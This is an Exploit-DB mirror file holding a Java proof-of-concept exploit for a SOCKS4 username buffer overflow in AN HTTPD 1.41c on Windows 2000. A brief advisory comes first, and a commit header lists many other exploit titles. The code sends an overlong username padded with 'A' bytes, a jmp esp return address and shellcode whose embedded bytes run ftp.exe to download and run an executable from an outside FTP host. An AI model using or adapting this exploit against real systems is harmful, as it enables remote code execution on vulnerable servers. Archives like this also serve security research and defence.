bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/windows/remote/21955.java
Offensive Security 880bbe402e DB: 2019-03-08 
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

108 lines
No EOL
5.4 KiB
Java
Raw Blame History

source: https://www.securityfocus.com/bid/6012/info
A buffer overflow vulnerability has been reported for AN HTTPD. The vulnerability is due to insufficient bounds checking of usernames for SOCKS4 requests.
When AN HTTPD acts as a SOCKS4 server, it handles user names in an unsafe manner. An attacker can exploit this vulnerability by sending an overly long username as part of a SOCKS4 request. This may overflow a buffer used by AN HTTPD and cause the server to overwrite adjacent memory. Successful exploitation may, in turn, lead to the execution of arbitrary code as the AN HTTPD process.
/*///////////////////////////////////////////////////////////////////////////
AN HTTPD Version 1.41c SOCKS4 username buffer overflow exploit
for Japanese Windows 2000 Pro (SP2)
written by Kanatoko <anvil@jumperz.net>
http://www.jumperz.net/
///////////////////////////////////////////////////////////////////////////*/
import java.net.*;
import java.io.*;
public class anhttpd141c_exploit
{
private static final int SOCKS_PORT = 1080;
private String targetHost;
//----------------------------------------------------------------------------
public static void main( String[] args )
throws Exception
{
if( args.length != 1 )
{
System.out.println( "Usage: java anhttpd141c_exploit TARGETHOST( or IP )" );
return;
}
anhttpd141c_exploit instance = new anhttpd141c_exploit( args[ 0 ] );
instance.doIt();
}
//----------------------------------------------------------------------------
public anhttpd141c_exploit( String IN_targetHost )
throws Exception
{
targetHost = IN_targetHost;
}
//----------------------------------------------------------------------------
private void doIt()
throws Exception
{
Socket socket = new Socket( targetHost, SOCKS_PORT );
OutputStream os = socket.getOutputStream();
byte[] socks4_request = {
(byte)0x04, (byte)0x01, (byte)0x00, (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x01
};
// egg: download and start installing Netscape4.79 :)
// http://www.jumperz.net/egg_netscape.cpp
byte[] egg = {
(byte)0x55, (byte)0x8B, (byte)0xEC, (byte)0x53, (byte)0xEB, (byte)0x57, (byte)0x90, (byte)0x90,
(byte)0x90, (byte)0x5B, (byte)0x33, (byte)0xC0, (byte)0x88, (byte)0x63, (byte)0x01, (byte)0x88,
(byte)0x63, (byte)0x03, (byte)0x83, (byte)0xC3, (byte)0x68, (byte)0x88, (byte)0x23, (byte)0x88,
(byte)0x63, (byte)0x21, (byte)0x88, (byte)0x63, (byte)0x2E, (byte)0x83, (byte)0xEB, (byte)0x68,
(byte)0x53, (byte)0x83, (byte)0xC3, (byte)0x02, (byte)0x53, (byte)0xB9, (byte)0xC2, (byte)0x1B,
(byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x50, (byte)0x83, (byte)0xC3, (byte)0x02,
(byte)0x53, (byte)0xB9, (byte)0x8B, (byte)0x38, (byte)0x02, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x59, (byte)0xB9, (byte)0xB8, (byte)0x0E, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1,
(byte)0x83, (byte)0xC3, (byte)0x65, (byte)0x53, (byte)0xB9, (byte)0x4A, (byte)0x9B, (byte)0x01,
(byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0x83, (byte)0xC3, (byte)0x21, (byte)0x53, (byte)0xB9,
(byte)0x4A, (byte)0x9B, (byte)0x01, (byte)0x78, (byte)0xFF, (byte)0xD1, (byte)0xB8, (byte)0x94,
(byte)0x8F, (byte)0xE6, (byte)0x77, (byte)0xFF, (byte)0xD0, (byte)0xE8, (byte)0xA7, (byte)0xFF,
(byte)0xFF, (byte)0xFF, (byte)0x77, (byte)0x58, (byte)0x71, (byte)0x58, (byte)0x62, (byte)0x69,
(byte)0x6E, (byte)0x61, (byte)0x72, (byte)0x79, (byte)0x0A, (byte)0x67, (byte)0x65, (byte)0x74,
(byte)0x20, (byte)0x2F, (byte)0x70, (byte)0x75, (byte)0x62, (byte)0x2F, (byte)0x63, (byte)0x6F,
(byte)0x6D, (byte)0x6D, (byte)0x75, (byte)0x6E, (byte)0x69, (byte)0x63, (byte)0x61, (byte)0x74,
(byte)0x6F, (byte)0x72, (byte)0x2F, (byte)0x65, (byte)0x6E, (byte)0x67, (byte)0x6C, (byte)0x69,
(byte)0x73, (byte)0x68, (byte)0x2F, (byte)0x34, (byte)0x2E, (byte)0x37, (byte)0x39, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x2F,
(byte)0x77, (byte)0x69, (byte)0x6E, (byte)0x64, (byte)0x6F, (byte)0x77, (byte)0x73, (byte)0x39,
(byte)0x35, (byte)0x5F, (byte)0x6F, (byte)0x72, (byte)0x5F, (byte)0x6E, (byte)0x74, (byte)0x2F,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x70, (byte)0x6C, (byte)0x65, (byte)0x74, (byte)0x65,
(byte)0x5F, (byte)0x69, (byte)0x6E, (byte)0x73, (byte)0x74, (byte)0x61, (byte)0x6C, (byte)0x6C,
(byte)0x2F, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32, (byte)0x64, (byte)0x34, (byte)0x37,
(byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65, (byte)0x0A, (byte)0x71, (byte)0x75,
(byte)0x69, (byte)0x74, (byte)0x58, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x65,
(byte)0x78, (byte)0x65, (byte)0x20, (byte)0x2D, (byte)0x73, (byte)0x3A, (byte)0x71, (byte)0x20,
(byte)0x2D, (byte)0x41, (byte)0x20, (byte)0x66, (byte)0x74, (byte)0x70, (byte)0x2E, (byte)0x6E,
(byte)0x65, (byte)0x74, (byte)0x73, (byte)0x63, (byte)0x61, (byte)0x70, (byte)0x65, (byte)0x2E,
(byte)0x63, (byte)0x6F, (byte)0x6D, (byte)0x58, (byte)0x63, (byte)0x63, (byte)0x33, (byte)0x32,
(byte)0x64, (byte)0x34, (byte)0x37, (byte)0x39, (byte)0x2E, (byte)0x65, (byte)0x78, (byte)0x65,
(byte)0x58
};
byte[] jmp_esp = {
(byte)0x02, (byte)0x4E, (byte)0x02, (byte)0x78
};
os.write( socks4_request );
//where is memset? :0
for( int i = 0; i < 1020; ++i )
{
os.write( (byte)0x41 );
}
os.write( jmp_esp );
os.write( egg );
os.write( (byte)0x00 );
}
//----------------------------------------------------------------------------
}
Reference in a new issue View git blame Copy permalink